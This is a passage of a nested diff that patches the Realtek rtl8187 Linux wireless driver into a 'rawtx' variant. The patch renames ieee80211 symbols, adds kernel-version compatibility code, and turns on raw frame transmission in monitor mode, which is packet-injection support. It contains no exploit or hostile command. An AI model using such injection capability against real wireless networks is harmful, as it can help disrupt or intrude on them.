+ 	wrqu->bitrate.value = ieee->rate * 100000;
+-	
++
+ 	return 0;
+ }
+ 
+-int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	
++	short prev = ieee->raw_tx;
++
+ 	ieee->sync_scan_hurryup = 1;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
++
+ 	if (wrqu->mode == ieee->iw_mode)
+ 		goto out;
+-	
++
+ 	if (wrqu->mode == IW_MODE_MONITOR){
+-	
+-		ieee->dev->type = ARPHRD_IEEE80211;
++		ieee->dev->type = ARPHRD_IEEE80211_PRISM;
+ 	}else{
+ 		ieee->dev->type = ARPHRD_ETHER;
+ 	}
+-	
++
+ 	if (!ieee->proto_started){
+ 		ieee->iw_mode = wrqu->mode;
+ 	}else{
+-		ieee80211_stop_protocol(ieee);
++		ieee80211_stop_protocol_rtl7(ieee);
+ 		ieee->iw_mode = wrqu->mode;
+-		ieee80211_start_protocol(ieee);
++		ieee80211_start_protocol_rtl7(ieee);
++	}
++
++	if(ieee->iw_mode == IW_MODE_MONITOR)
++	{
++		ieee->raw_tx = 1;
++		if(prev == 0 && ieee->raw_tx){
++			if (ieee->data_hard_resume)
++				ieee->data_hard_resume(ieee->dev);
++
++			netif_carrier_on(ieee->dev);
++		}
++
++		netif_carrier_on(ieee->dev);
++	}
++	else
++	{
++		ieee->raw_tx = 0;
+ 	}
+ 
+ out:
+@@ -264,120 +281,132 @@
+ 	return 0;
+ }
+ 
+-void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee)
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work)
+ {
++	struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq);
++#else
++void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
+ 	short chan;
+ 
+ 	chan = ieee->current_network.channel;
+-	
++
+ 	netif_carrier_off(ieee->dev);
+-	
++
+ 	if (ieee->data_hard_stop)
+ 		ieee->data_hard_stop(ieee->dev);
+-	
+-	ieee80211_stop_send_beacons(ieee);
+-		
++
++	ieee80211_stop_send_beacons_rtl7(ieee);
++
+ 	ieee->state = IEEE80211_LINKED_SCANNING;
+ 	ieee->link_change(ieee->dev);
+-	
+-	ieee80211_start_scan_syncro(ieee);
+-	
++
++	ieee80211_start_scan_syncro_rtl7(ieee);
++
+ 	ieee->set_chan(ieee->dev, chan);
+-	
++
+ 	ieee->state = IEEE80211_LINKED;
+ 	ieee->link_change(ieee->dev);
+-	
++
+ 	if (ieee->data_hard_resume)
+ 		ieee->data_hard_resume(ieee->dev);
+-	
++
+ 	if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER)
+-		ieee80211_start_send_beacons(ieee);
+-	
++		ieee80211_start_send_beacons_rtl7(ieee);
++
+ 	netif_carrier_on(ieee->dev);
+-	
++
+ 	up(&ieee->wx_sem);
+-	
++
+ }
+ 
+-int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a,
++int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+ 	int ret = 0;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
+-	if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ 
++
++	if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){
+ 		ret = -1;
+ 		goto out;
+ 	}
+-	
++
+ 	if ( ieee->state == IEEE80211_LINKED){
+ 		queue_work(ieee->wq, &ieee->wx_sync_scan_wq);
+ 		/* intentionally forget to up sem */
+ 		return 0;
+ 	}
+-		
++
+ out:
+ 	up(&ieee->wx_sem);
+ 	return ret;
+ }
+ 
+-int ieee80211_wx_set_essid(struct ieee80211_device *ieee, 
++int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee,
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *extra)
+ {
+-	
++
+ 	int ret=0,len;
+ 	short proto_started;
+ 	unsigned long flags;
+-	
++
+ 	ieee->sync_scan_hurryup = 1;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
++
+ 	proto_started = ieee->proto_started;
+-	
++
+ 	if (wrqu->essid.length > IW_ESSID_MAX_SIZE){
+ 		ret= -E2BIG;
+ 		goto out;
+ 	}
+-	
++
+ 	if (ieee->iw_mode == IW_MODE_MONITOR){
+ 		ret= -1;
+ 		goto out;
+ 	}
+-	
++
+ 	if(proto_started)
+-		ieee80211_stop_protocol(ieee);
+-	
++		ieee80211_stop_protocol_rtl7(ieee);
++
+ 	/* this is just to be sure that the GET wx callback
+ 	 * has consisten infos. not needed otherwise
+ 	 */
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if (wrqu->essid.flags && wrqu->essid.length) {
++#if WIRELESS_EXT > 20
++		len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE);
++#else
+ 		len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE;
+-		
++#endif
++
+ 		strncpy(ieee->current_network.ssid, extra, len);
+ 		ieee->current_network.ssid_len = len;
+ 		ieee->ssid_set = 1;
+ 	}
+-	else{ 
++	else{
+ 		ieee->ssid_set = 0;
+ 		ieee->current_network.ssid0 = '\0';
+ 		ieee->current_network.ssid_len = 0;
+ 	}
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+-	
++
+ 	if (proto_started)
+-		ieee80211_start_protocol(ieee);
++		ieee80211_start_protocol_rtl7(ieee);
+ out:
+ 	up(&ieee->wx_sem);
++
++
+ 	return ret;
+ }
+ 
+- int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++ int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+ 
+@@ -385,23 +414,23 @@
+ 	return 0;
+ }
+ 
+- int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, 
+-			       struct iw_request_info *info, 
++ int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee,
++			       struct iw_request_info *info,
+ 			       union iwreq_data *wrqu, char *extra)
+ {
+-	
++
+ 	int *parms = (int *)extra;
+ 	int enable = (parms0 > 0);
+ 	short prev = ieee->raw_tx;
+ 
+ 	down(&ieee->wx_sem);
+-	
+-	if(enable) 
++
++	if(enable)
+ 		ieee->raw_tx = 1;
+-	else 
++	else
+ 		ieee->raw_tx = 0;
+ 
+-	printk(KERN_INFO"raw TX is %s\n", 
++	printk(KERN_INFO"raw TX is %s\n",
+ 	      ieee->raw_tx ? "enabled" : "disabled");
+ 
+ 	if(ieee->iw_mode == IW_MODE_MONITOR)
+@@ -409,21 +438,21 @@
+ 		if(prev == 0 && ieee->raw_tx){
+ 			if (ieee->data_hard_resume)
+ 				ieee->data_hard_resume(ieee->dev);
+-	
+-			netif_carrier_on(ieee->dev);	
++
++			netif_carrier_on(ieee->dev);
+ 		}
+-		
++
+ 		if(prev && ieee->raw_tx == 1)
+-			netif_carrier_off(ieee->dev); 
++			netif_carrier_off(ieee->dev);
+ 	}
+-	
++
+ 	up(&ieee->wx_sem);
+-	
++
+ 	return 0;
+ }
+- 
+-int ieee80211_wx_get_name(struct ieee80211_device *ieee, 
+-			     struct iw_request_info *info, 
++
++int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+ 	strcpy(wrqu->name, "802.11");
+@@ -433,20 +462,20 @@
+ 			strcat(wrqu->name, "/g");
+ 	}else if(ieee->modulation & IEEE80211_OFDM_MODULATION)
+ 		strcat(wrqu->name, "g");
+-	
+-	if((ieee->state == IEEE80211_LINKED) || 
++
++	if((ieee->state == IEEE80211_LINKED) ||
+ 		(ieee->state == IEEE80211_LINKED_SCANNING))
+ 		strcat(wrqu->name," linked");
+ 	else if(ieee->state != IEEE80211_NOLINK)
+ 		strcat(wrqu->name," link..");
+-	
+-	
++
++
+ 	return 0;
+ }
+ 
+ 
+ /* this is mostly stolen from hostap */
+-int ieee80211_wx_set_power(struct ieee80211_device *ieee,
++int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra)
+ {
+@@ -457,50 +486,50 @@
+ 		(!ieee->ps_request_tx_ack) ||
+ 		(!ieee->enter_sleep_state) ||
+ 		(!ieee->ps_is_queue_empty)){
+-		
++
+ 		printk("ERROR. PS mode is tryied to be use but\
+-driver missed a callback\n\n");	
+-	
++driver missed a callback\n\n");
++
+ 		return -1;
+ 	}
+-	
++
+ 	down(&ieee->wx_sem);
+-	
++
+ 	if (wrqu->power.disabled){
+ 		ieee->ps = IEEE80211_PS_DISABLED;
+-		
++
+ 		goto exit;
+ 	}
+ 	switch (wrqu->power.flags & IW_POWER_MODE) {
+ 	case IW_POWER_UNICAST_R:
+ 		ieee->ps = IEEE80211_PS_UNICAST;
+-		
++
+ 		break;
+ 	case IW_POWER_ALL_R:
+-		ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST;	
++		ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST;
+ 		break;
+-		
++
+ 	case IW_POWER_ON:
+ 		ieee->ps = IEEE80211_PS_DISABLED;
+ 		break;
+-		
++
+ 	default:
+ 		ret = -EINVAL;
+ 		goto exit;
+ 	}
+ 
+ 	if (wrqu->power.flags & IW_POWER_TIMEOUT) {
+-				      
++
+ 		ieee->ps_timeout = wrqu->power.value / 1000;
+ 		printk("Timeout %d\n",ieee->ps_timeout);
+ 	}
+-	
++
+ 	if (wrqu->power.flags & IW_POWER_PERIOD) {
+-		
++
+ 		ret = -EOPNOTSUPP;
+ 		goto exit;
+ 		//wrq->value / 1024;
+-		
++
+ 	}
+ exit:
+ 	up(&ieee->wx_sem);
+@@ -509,15 +538,15 @@
+ }
+ 
+ /* this is stolen from hostap */
+-int ieee80211_wx_get_power(struct ieee80211_device *ieee,
++int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra)
+ {
+ 	int ret =0;
+-	
++
+ 	down(&ieee->wx_sem);
+-	
+-	if(ieee->ps == IEEE80211_PS_DISABLED){	
++
++	if(ieee->ps == IEEE80211_PS_DISABLED){
+ 		wrqu->power.disabled = 1;
+ 		goto exit;
+ 	}
+@@ -547,19 +576,19 @@
+ 
+ }
+ 
+-EXPORT_SYMBOL(ieee80211_wx_get_essid);
+-EXPORT_SYMBOL(ieee80211_wx_set_essid);
+-EXPORT_SYMBOL(ieee80211_wx_set_rate);
+-EXPORT_SYMBOL(ieee80211_wx_get_rate);
+-EXPORT_SYMBOL(ieee80211_wx_set_wap);
+-EXPORT_SYMBOL(ieee80211_wx_get_wap);
+-EXPORT_SYMBOL(ieee80211_wx_set_mode);
+-EXPORT_SYMBOL(ieee80211_wx_get_mode);
+-EXPORT_SYMBOL(ieee80211_wx_set_scan);
+-EXPORT_SYMBOL(ieee80211_wx_get_freq);
+-EXPORT_SYMBOL(ieee80211_wx_set_freq);
+-EXPORT_SYMBOL(ieee80211_wx_set_rawtx);
+-EXPORT_SYMBOL(ieee80211_wx_get_name);
+-EXPORT_SYMBOL(ieee80211_wx_set_power);
+-EXPORT_SYMBOL(ieee80211_wx_get_power);
+-EXPORT_SYMBOL(ieee80211_wlan_frequencies);
++EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7);
++EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c
+--- rtl8187_orig/ieee80211/ieee80211_tx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_tx.c	2007-06-08 23:30:47.000000000 +0200
+@@ -32,7 +32,6 @@
+ ******************************************************************************/
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -52,6 +51,12 @@
+ #include <linux/etherdevice.h>
+ #include <asm/uaccess.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ 
+@@ -155,7 +160,7 @@
+ static u8 P802_1H_OUIP80211_OUI_LEN = { 0x00, 0x00, 0xf8 };
+ static u8 RFC1042_OUIP80211_OUI_LEN = { 0x00, 0x00, 0x00 };
+ 
+-static inline int ieee80211_put_snap(u8 *data, u16 h_proto)
++static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto)
+ {
+ 	struct ieee80211_snap_hdr *snap;
+ 	u8 *oui;
+@@ -178,7 +183,7 @@
+ 	return SNAP_SIZE + sizeof(u16);
+ }
+ 
+-int ieee80211_encrypt_fragment(
++int ieee80211_encrypt_fragment_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct sk_buff *frag,
+ 	int hdr_len)
+@@ -225,7 +230,7 @@
+ }
+ 
+ 
+-void ieee80211_txb_free(struct ieee80211_txb *txb) {
++void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) {
+ 	int i;
+ 	if (unlikely(!txb))
+ 		return;
+@@ -235,7 +240,7 @@
+ 	kfree(txb);
+ }
+ 
+-struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size,
++struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size,
+ 					  int gfp_mask)
+ {
+ 	struct ieee80211_txb *txb;
+@@ -267,7 +272,7 @@
+ }
+ 
+ /* SKBs are added to the ieee->tx_queue. */
+-int ieee80211_xmit(struct sk_buff *skb,
++int ieee80211_xmit_rtl7(struct sk_buff *skb,
+ 		   struct net_device *dev)
+ {
+ 	struct ieee80211_device *ieee = netdev_priv(dev);
+@@ -397,7 +402,7 @@
+ 		/* When we allocate the TXB we allocate enough space for the reserve
+ 		* and full fragment bytes (bytes_per_frag doesn't include prefix,
+ 		* postfix, header, FCS, etc.) */
+-		txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC);
++		txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC);
+ 		if (unlikely(!txb)) {
+ 			printk(KERN_WARNING "%s: Could not allocate TXB\n",
+ 			ieee->dev->name);
+@@ -432,7 +437,7 @@
+ 			
+ 			/* Put a SNAP header on the first fragment */
+ 			if (i == 0) {
+-				ieee80211_put_snap(
++				ieee80211_put_snap_rtl7(
+ 					skb_put(skb_frag, SNAP_SIZE + sizeof(u16)),
+ 					ether_type);
+ 				bytes -= SNAP_SIZE + sizeof(u16);
+@@ -446,7 +451,7 @@
+ 			/* Encryption routine will move the header forward in order
+ 			* to insert the IV between the header and the payload */
+ 			if (encrypt)
+-				ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len);
++				ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len);
+ 			if (ieee->config &
+ 			(CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS))
+ 				skb_put(skb_frag, 4);
+@@ -458,13 +463,14 @@
+ 			ieee->seq_ctrl++;
+ 		//---
+ 	}else{
+-		if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) {
++//		if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) {
++		if (unlikely(skb->len < 14)) {
+ 			printk(KERN_WARNING "%s: skb too small (%d).\n",
+ 			ieee->dev->name, skb->len);
+ 			goto success;
+ 		}
+ 	
+-		txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC);
++		txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC);
+ 		if(!txb){
+ 			printk(KERN_WARNING "%s: Could not allocate TXB\n",
+ 			ieee->dev->name);
+@@ -481,14 +487,14 @@
+ 	dev_kfree_skb_any(skb);
+ 	if (txb) {
+ 		if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){
+-			ieee80211_softmac_xmit(txb, ieee);
++			ieee80211_softmac_xmit_rtl7(txb, ieee);
+ 		}else{
+ 			if ((*ieee->hard_start_xmit)(txb, dev) == 0) {
+ 				stats->tx_packets++;
+ 				stats->tx_bytes += txb->payload_size;
+ 				return 0;
+ 			}
+-			ieee80211_txb_free(txb);
++			ieee80211_txb_free_rtl7(txb);
+ 		}
+ 		
+ 		
+@@ -504,4 +510,4 @@
+ 
+ }
+ 
+-EXPORT_SYMBOL(ieee80211_txb_free);
++EXPORT_SYMBOL(ieee80211_txb_free_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c
+--- rtl8187_orig/ieee80211/ieee80211_wx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_wx.c	2007-06-08 23:30:47.000000000 +0200
+@@ -40,7 +40,7 @@
+ };
+ 
+ #define MAX_CUSTOM_LEN 64
+-static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee,
++static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee,
+  					   char *start, char *stop,
+ 					   struct ieee80211_network *network)
+ {
+@@ -207,7 +207,7 @@
+ 	return start;
+ }
+ 
+-int ieee80211_wx_get_scan(struct ieee80211_device *ieee,
++int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee,
+ 			  struct iw_request_info *info,
+ 			  union iwreq_data *wrqu, char *extra)
+ {
+@@ -220,13 +220,14 @@
+ 
+ 	IEEE80211_DEBUG_WX("Getting scan\n");
+ 	down(&ieee->wx_sem);
++	printk("GOT WX GET SCAN WX_SEM LOCK");
+ 	spin_lock_irqsave(&ieee->lock, flags);
+ 
+ 	list_for_each_entry(network, &ieee->network_list, list) {
+ 		i++;
+ 		if (ieee->scan_age == 0 ||
+ 		    time_after(network->last_scanned + ieee->scan_age, jiffies))
+-			ev = ipw2100_translate_scan(ieee, ev, stop, network);
++			ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network);
+ 		else
+ 			IEEE80211_DEBUG_SCAN(
+ 				"Not showing network '%s ("
+@@ -247,7 +248,7 @@
+ 	return 0;
+ }
+ 
+-int ieee80211_wx_set_encode(struct ieee80211_device *ieee,
++int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee,
+ 			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *keybuf)
+ {
+@@ -281,7 +282,7 @@
+ 		if (key_provided && *crypt) {
+ 			IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n",
+ 					   key);
+-			ieee80211_crypt_delayed_deinit(ieee, crypt);
++			ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt);
+ 		} else
+ 			IEEE80211_DEBUG_WX("Disabling encryption.\n");
+ 
+@@ -291,7 +292,7 @@
+ 			if (ieee->crypti != NULL) {
+ 				if (key_provided)
+ 					break;
+-				ieee80211_crypt_delayed_deinit(
++				ieee80211_crypt_delayed_deinit_rtl7(
+ 					ieee, &ieee->crypti);
+ 			}
+ 		}
+@@ -314,7 +315,7 @@
+ 	    strcmp((*crypt)->ops->name, "WEP") != 0) {
+ 		/* changing to use WEP; deinit previously used algorithm
+ 		 * on this key */
+-		ieee80211_crypt_delayed_deinit(ieee, crypt);
++		ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt);
+ 	}
+ 
+ 	if (*crypt == NULL) {
+@@ -326,10 +327,10 @@
+ 		if (new_crypt == NULL)
+ 			return -ENOMEM;
+ 		memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data));
+-		new_crypt->ops = ieee80211_get_crypto_ops("WEP");
++		new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP");
+ 		if (!new_crypt->ops) {
+-			request_module("ieee80211_crypt_wep");
+-			new_crypt->ops = ieee80211_get_crypto_ops("WEP");
++			request_module("ieee80211_crypt_wep_rtl");
++			new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP");
+ 		}
+ 
+ 		if (new_crypt->ops && try_module_get(new_crypt->ops->owner))
+@@ -340,7 +341,7 @@
+ 			new_crypt = NULL;
+ 
+ 			printk(KERN_WARNING "%s: could not initialize WEP: "
+-			       "load module ieee80211_crypt_wep\n",
++			       "load module ieee80211_crypt_wep_rtl\n",
+ 			       dev->name);
+ 			return -EOPNOTSUPP;
+ 		}
+@@ -418,7 +419,7 @@
+ 	return 0;
+ }
+ 
+-int ieee80211_wx_get_encode(struct ieee80211_device *ieee,
++int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee,
+ 			    struct iw_request_info *info,
+ 			    union iwreq_data *wrqu, char *keybuf)
+ {
+@@ -430,7 +431,7 @@
+ 
+ 	if(ieee->iw_mode == IW_MODE_MONITOR)
+ 		return -1;
+-	
++
+ 	key = erq->flags & IW_ENCODE_INDEX;
+ 	if (key) {
+ 		if (key > WEP_KEYS)
+@@ -470,6 +471,6 @@
+ }
+ 
+ 
+-EXPORT_SYMBOL(ieee80211_wx_get_scan);
+-EXPORT_SYMBOL(ieee80211_wx_set_encode);
+-EXPORT_SYMBOL(ieee80211_wx_get_encode);
++EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7);
++EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7);
+diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile
+--- rtl8187_orig/ieee80211/Makefile	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/Makefile	2007-05-27 10:47:26.000000000 +0200
+@@ -17,6 +17,7 @@
+ KVER  := $(shell uname -r)
+ KSRC := /lib/modules/$(KVER)/build
+ INSTALL_PREFIX :=
++PWD = $(shell pwd)
+ 
+ all: modules
+ 
+diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers
+--- rtl8187_orig/ieee80211/Modules.symvers	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/Modules.symvers	1970-01-01 01:00:00.000000000 +0100
+@@ -1,43 +0,0 @@
+-0x232e7944	ieee80211_wlan_frequencies	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0xaeae102f	free_ieee80211_rtl	/usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl
+-0x279e265f	ieee80211_crypt_deinit_handler	net/ieee80211/ieee80211_crypt
+-0xc2411d91	ieee80211_stop_queue	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x6ece20e1	ieee80211_wx_get_name_rtl	/usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl
+-0x5d3847ff	ieee80211_rx_rtl	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x18612027	ieee80211_wx_get_scan_rtl	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0xa0e03ce1	ieee80211_wx_get_name	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0xee25f349	ieee80211_wx_get_mode	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x86013c3d	ieee80211_wx_set_mode	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x04493cc0	ieee80211_wx_get_rate	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x6c6df3b4	ieee80211_wx_set_rate	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x82caec02	ieee80211_crypt_deinit_entries	net/ieee80211/ieee80211_crypt
+-0x347945bf	ieee80211_wx_get_power	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x6379d455	ieee80211_wx_set_power	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0xae62ed59	ieee80211_wx_set_scan	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x6621e172	ieee80211_wx_set_freq	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x0e052e06	ieee80211_wx_get_freq	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x283f9f5d	ieee80211_unregister_crypto_ops	net/ieee80211/ieee80211_crypt
+-0x9da79aac	ieee80211_is_shortslot	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x666032dc	ieee80211_wx_get_wap	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x9f1cbe0e	ieee80211_wx_set_wap	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x73d1d341	ieee80211_wx_set_rawtx	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x2c714184	ieee80211_is_54g	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x6892d598	ieee80211_wpa_supplicant_ioctl	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0xc062f1f5	ieee80211_ps_tx_ack	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x55534906	ieee80211_get_beacon	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0xe2679638	ieee80211_crypt_delayed_deinit	net/ieee80211/ieee80211_crypt
+-0x3a0456bc	free_ieee80211	net/ieee80211/ieee80211
+-0x7e1ef2c8	ieee80211_wake_queue	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0xc1b81e9f	ieee80211_register_crypto_ops	net/ieee80211/ieee80211_crypt
+-0x3f795a39	alloc_ieee80211	net/ieee80211/ieee80211
+-0x89803c23	ieee80211_get_crypto_ops	net/ieee80211/ieee80211_crypt
+-0xc6caf2a4	ieee80211_txb_free	net/ieee80211/ieee80211
+-0x49c1422c	ieee80211_rx_mgt	net/ieee80211/ieee80211
+-0xbf2b4ebd	alloc_ieee80211_rtl	/usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl
+-0xd155f7b8	ieee80211_softmac_stop_protocol	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x9ce2dcde	ieee80211_softmac_start_protocol	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x00d74bba	ieee80211_wx_get_encode_rtl	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x92b5d996	ieee80211_wx_set_encode_rtl	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x2ac9bf95	ieee80211_wx_set_essid	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0x7dc92e7f	ieee80211_wx_get_essid	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+-0xd04740ca	ieee80211_reset_queue	/home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl
+diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile
+--- rtl8187_orig/Makefile	1970-01-01 01:00:00.000000000 +0100
++++ rtl8187_rawtx/Makefile	2007-06-21 23:43:15.000000000 +0200
+@@ -0,0 +1,39 @@
++prefix        = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless
++r8187dir      = $(prefix)/rtl8187
++ieeedir       = $(prefix)/rtl_ieee80211
++
++default: all
++
++all:
++	-rm -f ieee80211/Module.symvers 2>/dev/null
++	-rm -f ieee80211/Modules.symvers 2>/dev/null
++	$(MAKE) -C ieee80211 $(@)
++	-chmod +x symvers
++	-./symvers
++	$(MAKE) -C beta-8187 $(@)
++
++install:
